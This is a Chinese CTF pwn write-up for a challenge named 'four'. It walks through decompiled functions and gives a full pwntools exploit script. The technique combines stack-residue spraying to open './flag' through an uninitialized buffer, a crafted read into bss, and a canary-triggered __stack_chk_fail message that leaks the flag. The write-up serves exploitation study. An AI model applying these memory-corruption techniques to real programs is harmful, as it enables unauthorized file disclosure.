four 这题的知识点有两个 一个是栈溅射 还有一个是利用stack_chk_fail函数输出报错信息来泄露flag
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int i; unsigned __int64 v6; v6 = __readfsqword(0x28 u); v4 = 0 ; init_0(); for ( i = 0 ; i <= 3 ; ++i ) { puts ("your choice : " ); __isoc99_scanf("%d" , &v4); if ( v4 == 1 ) { sub_4014B9(); } else if ( v4 == 5 ) { sub_4013E1(); } if ( v4 > 5 || v4 < 0 ) { puts ("error" ); exit (1 ); } if ( v4 <= 2 ) sub_400B94(); if ( v4 == 3 ) sub_400CA8(); if ( v4 > 3 ) sub_40101C(); } return 0LL ; }
ida打开乍一看是堆题 不过跟进一下函数发现不是
当v4=1时进入的函数 虽然直接给了我们printf函数的真实地址 但是关闭了标准错误的输出 会给我们后面的利用造成困扰 并且这题实际上也不需要libc基址
接下来的四个函数都有作用 我们分别跟进一下
__int64 sub_400B94 () { const char *v0; char buf; int v3; char v4[24584 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); v3 = 0 ; puts ("You can give any value, trust me, there will be no overflow" ); __isoc99_scanf("%d" , &v3); if ( v3 > 24559 || v3 < 0 ) { puts ("NO OVERFLOW!!!" ); exit (1 ); } puts ("Actually, this function doesn't seem to be useful" ); my_read(v4, v3); puts ("Really?" ); read(0 , &buf, 1uLL ); if ( buf == 'y' || buf == 'Y' ) { v0 = sub_4009A7(v4); printf ("content : %s" , v0); } return 0LL ; }
这个函数可以供我们写入非常多的字节 因此会和其他函数执行时的栈帧空间重合 如果下一个函数没有对栈帧进行清空的话 就会造成数据残留 这一点很重要
__int64 sub_400CA8 () { int v1; int v2; int v3; int v4; int i; int v6; int v7; int fd; char s1[16 ]; char dest[32 ]; char buf[256 ]; char s[264 ]; unsigned __int64 v13; v13 = __readfsqword(0x28 u); strcpy (s1, "output.txt" ); i = 0 ; v1 = 0 ; v2 = 0 ; v3 = 0 ; v6 = 0 ; printf ("Enter level:" ); __isoc99_scanf("%d" , &v1); printf ("Enter mode:" ); __isoc99_scanf("%d" , &v2); printf ("Enter X:" ); __isoc99_scanf("%d" , &v3); if ( v1 < 0 || v1 > 6 || v2 < 0 || v2 > 4 || v3 < 0 || v3 > 3 ) { puts ("invalid data!" ); exit (1 ); } printf ("Enter a string: " ); my_read(s, 250 ); v7 = strlen (s); for ( i = 0 ; i < v7; ++i ) { if ( !(i % v1) || !(i % v2) ) buf[v6++] = s[i]; if ( !(i % v3) ) buf[i] = '@' ; } puts ("please input filename" ); __isoc99_scanf("%14s" , s1); if ( strncmp (s1, "output.txt" , 0xA uLL) ) { strncpy (s1, "output.txt" , 0xC uLL); strncpy (dest, s1, 0xC uLL); } fd = open(dest, 0 ); if ( fd == -1 ) { puts ("open error!" ); exit (1 ); } puts ("Do you want to write data?" ); puts ("1. yes\n2.no" ); __isoc99_scanf("%d" , &v4); if ( v4 == 1 ) { write(fd, buf, 0x100 uLL); close(fd); puts ("Successly!" ); } else { puts ("OK!" ); } return 0LL ; }
这一个函数的前面部分依然是干扰代码 不用理就行了 关键在于后面的open
可以看到 利用strncmp进行了一个判断 如果filename为output.txt的话 就不会进入if分支 从而dest这个变量就不会被赋值
直到做到这题 我才大概理解为什么变量一般都需要声明时赋值了 就是为了防止栈帧重合导致的数据残留
如果我们利用上一个函数造成数据残留 此时dest变量如果没有被赋值 那么其就会继承这个数据
也就是说如果我们读入大量的flag字符串 那么此时dest变量就会继承flag这个字符串 相当于open了flag文件
__int64 sub_40101C () { char v1; int fd; int j; char *i; char delim[2 ]; int v6; char s[8 ]; __int64 v8; char v9[240 ]; unsigned __int64 v10; v10 = __readfsqword(0x28 u); *s = 0LL ; v8 = 0LL ; memset (v9, 0 , sizeof (v9)); fd = 0 ; v6 = 0 ; v1 = 0 ; strcpy (delim, ">" ); puts ("info>>" ); __isoc99_scanf("%256s" , s); for ( i = strtok(s, delim); i; i = strtok(0LL , delim) ) { for ( j = 0 ; i[j]; ++j ) { if ( i[j] == '~' && i[j + 1 ] > '/' && i[j + 1 ] <= '9' ) fd = i[j + 1 ] - 48 ; if ( i[j] == ':' && i[j + 1 ] && i[j + 2 ] && i[j + 3 ] && !i[j + 4 ] ) { LOBYTE(v6) = i[j + 1 ]; BYTE1(v6) = i[j + 2 ]; HIWORD(v6) = i[j + 3 ]; break ; } if ( i[j] == '@' && i[j + 2 ] == '*' && i[j + 1 ] > '`' && i[j + 1 ] <= 122 ) v1 = i[j + 1 ]; } } if ( fd <= 2 || fd > 10 ) { puts ("error!" ); exit (1 ); } read(fd, ((SBYTE1(v6) << 8 ) + (v6 << 16 ) + SBYTE2(v6)), v1); return 0LL ; }
这一个函数的作用在于把flag文件的内容写到bss段上的地址 为什么要多此一举呢 在我TEB绕过canary的文章有提及stack_chk_fail函数输出报错信息的依据 原理这里就不复述了
顺便真的很想吐槽一句 这里非要加一个代码审计来强行使得题目难度看起来增加 不是很理解这种操作的意义何在
利用strtok函数返回一个指针 起始地址为我们输入的s字符串中 ‘>’字符的地址
随后就是三个if判断 分别决定了文件描述符 read写入的地址 写入的字节长
唯一要注意的就是第二个if判断 由于调用的是scanf 所以如果我们想要读入地址的话 要注意不能为\x20 或者 \x00 这样的字节 会导致scanf截断 后面的字符丢失
__int64 sub_4013E1 () { char buf[8 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( !dword_60204C ) { puts ("This is a strange overflow. Because of canary, you must not hijack the return address" ); read(0 , buf, 0x200 uLL); close(1 ); ++dword_60204C; } return 0LL ; }
最后一个函数 提供了一次栈溢出的机会 此时计算一下stack_chk_fail调用的指针偏移 就可以借助报错输出flag了
完整exp:
from pwn import *from ctypes import *io = process("./pwn" ) elf = ELF("./pwn" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./libc/libc.so.6" ) context.arch = "amd64" context.log_level = "debug" def debug (): gdb.attach(io) pause() io.recvuntil("your choice : " ) io.sendline(b'2' ) io.recvuntil("You can give any value, trust me, there will be no overflow" ) io.sendline(str (0x5fef )) io.recvuntil("Actually, this function doesn't seem to be useful" ) payload = b"./flag\x00\x00" *0xbfd io.sendline(payload) io.recvuntil("Really?" ) io.sendline(b'n' ) io.recvuntil("your choice : " ) io.sendline(b'3' ) io.recvuntil("Enter level:" ) io.sendline(b'1' ) io.recvuntil("Enter mode:" ) io.sendline(b'2' ) io.recvuntil("Enter X:" ) io.sendline(b'3' ) io.recvuntil("Enter a string: " ) io.sendline(b'aaaa' ) io.recvuntil("please input filename" ) io.sendline(b'output.txt' ) io.recvuntil("Do you want to write data?" ) io.sendline(b'2' ) io.recvuntil("your choice : " ) io.sendline(b'4' ) io.recvuntil("info>>" ) payload = b'>:\x60\x21\x21' +b'>@a*' +b'>~3' io.sendline(payload) io.recvuntil("your choice : " ) io.sendline(b'5' ) io.recvuntil("This is a strange overflow. Because of canary, you must not hijack the return address" ) payload = cyclic(0x18 +0x100 )+p64(0x602121 ) io.send(payload) io.recv() io.recv()